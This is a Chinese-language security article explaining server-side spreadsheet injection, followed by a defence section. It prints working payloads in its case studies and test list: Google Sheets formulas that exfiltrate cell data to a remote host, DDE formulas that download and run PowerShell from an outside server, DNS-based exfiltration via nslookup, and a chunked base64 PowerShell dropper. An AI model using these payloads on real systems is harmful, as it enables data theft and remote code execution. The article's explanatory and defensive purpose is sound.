服务器端电子表格注入 - 从公式注入到远程代码执行
字数 2065 2025-08-29 08:32:24
服务器端电子表格注入攻击深度解析:从公式注入到远程代码执行
1. 服务器端电子表格注入概述
服务器端电子表格注入是一种新型的攻击方式,它将传统的客户端电子表格漏洞(如CSV注入、公式注入)转化为服务器端漏洞。这种攻击在以下场景中特别危险:
- 服务器使用Excel处理上传的电子表格文件
- 应用程序将电子表格数据转换为其他格式(如图像)
- 云服务自动处理电子表格内容
2. 攻击案例解析
2.1 Google表格注入导致数据泄露
攻击场景:
- 应用程序将用户列表导出到Google表格
- 管理员编辑后重新上传以执行批量用户配置
- 攻击者通过用户描述字段注入恶意公式
攻击原理:
Google表格会执行嵌入的公式,攻击者利用此特性构造数据外泄payload:
=IFERROR(IMPORTDATA(CONCAT("http://g.bishopfox.com:8000/save/",JOIN(",",B3:B18,C3:C18,D3:D18,E3:E18,F3:F18,G3:G18,H3:H18,I3:I18,J3:J18,K3:K18,L3:L18,M3:M18,N3:N18,O3:O18,P3:P18,Q3:Q18,R3:R18))),"")
关键点:
JOIN函数将所有单元格数据合并CONCAT构建包含数据的URLIMPORTDATA将数据发送到攻击者服务器IFERROR隐藏错误信息
攻击效果:
- 每次管理员编辑表格时,公式重新执行
- 实时泄露所有更新数据(包括新设置的密码等敏感信息)
2.2 服务器端公式注入导致RCE
案例1:直接命令执行
攻击场景:
- 应用程序使用Windows主机上的Excel将XLS*/CSV转换为图像
- 转换过程中Excel会执行公式
攻击步骤:
-
验证公式执行:
- 测试公式
=SUM(1,1)→ 返回2 - 测试动态公式
=NOW()→ 返回当前时间,确认实时解析
- 测试公式
-
利用DDE(动态数据交换)执行命令:
=cmd|'/c powershell.exe -w hidden $e=(New-Object System.Net.WebClient).DownloadString("http://bishopfox.com/shell.ps1");powershell -e $e'!A1 -
获取完整shell控制服务器
案例2:受限环境下的DNS隧道利用
受限环境:
- 服务器有TCP出口保护,阻止HTTP/HTTPS外连
攻击步骤:
-
测试网络限制:
=WEBSERVICE("http://bishopfox.com")→ 失败=WEBSERVICE("https://bishopfox.com")→ 失败=WEBSERVICE("http://dnstest.bishopfox.com")→ DNS请求成功
-
通过DNS执行命令:
=CMD|'/c for /f "delims=" %a in ('hostname') do nslookup %a.bishopfox.com '|!A0 -
分块传输PowerShell脚本:
=cmd|'/C echo|set /p="JHVybCA9ICJiaXNob3Bmb3guY29tIjtmdW5jdGlvbiBleGVjRE5TKA==" > C:\ProgramData\activePDF\Temp\a.enc'!A0 +cmd|'/C echo|set /p="ACQAYwBtAGQAKQAgAHsACgAkAGMAIAA9ACAAaQBlAHgAIAAkAGMAbQBkACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkA" >> C:\ProgramData\activePDF\Temp\a.enc'!A0 +... +cmd|'/C powershell -c "$a=Get-Content C:\ProgramData\activePDF\Temp\a.enc;powershell -e $a"'!A0
关键技巧:
- 使用
set /p实现无换行符的追加写入 - 分多次写入Base64编码的PowerShell脚本
- 最后执行解码后的脚本
3. 攻击技术详解
3.1 可利用的Excel函数
| 函数类别 | 示例函数 | 攻击用途 |
|---|---|---|
| 数据获取 | IMPORTDATA, WEBSERVICE |
外泄数据或获取远程payload |
| 字符串操作 | CONCAT, JOIN |
构建攻击字符串 |
| 系统信息 | INFO, CELL |
获取系统信息,寻找可写目录 |
| 错误处理 | IFERROR |
隐藏攻击痕迹 |
| 动态执行 | DDE公式 (`cmd | `) |
3.2 DDE公式注入技术
标准格式:
=cmd|'/c [command]'!A0
高级用法:
- 使用管道和重定向:
|,>,>> - 多命令组合:
&,&& - 字符限制绕过:分块写入文件再执行
3.3 受限环境下的绕过技术
-
DNS隧道:
- 使用
nslookup或ping通过DNS外传数据 - 使用PowerShell DNS shell
- 使用
-
分块传输:
- 将payload分成多个部分写入文件
- 使用Base64编码避免特殊字符问题
-
环境探测:
=INFO("directory") // 获取当前目录 =CELL("filename") // 获取文件路径
4. 防御措施
4.1 开发人员防护
-
输入净化:
- 在值前添加单引号:
'=cmd|'/c calc'!A0→ 作为文本处理 - 转义危险字符:
=,|,',",!
- 在值前添加单引号:
-
处理方式:
- 禁用服务器端公式计算
- 使用无头模式处理电子表格(如
--headless) - 使用专门的库而非完整Excel软件
-
权限控制:
- 在低权限沙箱中运行电子表格处理服务
- 限制网络出口(包括DNS)
4.2 管理员防护
-
Google表格/G-Suite:
- 审查第三方应用权限
- 谨慎处理自动生成的电子表格
-
服务器配置:
- 隔离电子表格处理服务
- 监控异常进程(如powershell、cmd突然启动)
-
日志监控:
- 记录公式执行
- 告警异常网络请求(特别是DNS大量查询)
5. 检测与测试方法
5.1 测试payload示例
-
基础测试:
=NOW() =INFO("osversion") -
数据泄露测试:
=CONCAT("TEST", A1) =WEBSERVICE("http://test.server/?leak="&A1) -
命令执行测试:
=cmd|'/c whoami > C:\temp\test.txt'!A0
5.2 自动化测试工具
- OWASP ZAP:可配置主动扫描规则
- Burp Suite:CSV/Excel文件修改和重放
- 自定义脚本:批量生成测试文件
6. 总结与展望
服务器端电子表格注入代表了客户端漏洞向服务端迁移的趋势,随着SaaS和云服务的普及,这类漏洞将更加普遍。关键风险点包括:
- 电子表格处理时的公式自动执行
- 服务器端使用完整Office套件而非安全库
- 缺乏对电子表格内容的严格过滤
未来可能需要开发专门的服务器端电子表格处理标准,从根本上避免公式注入风险。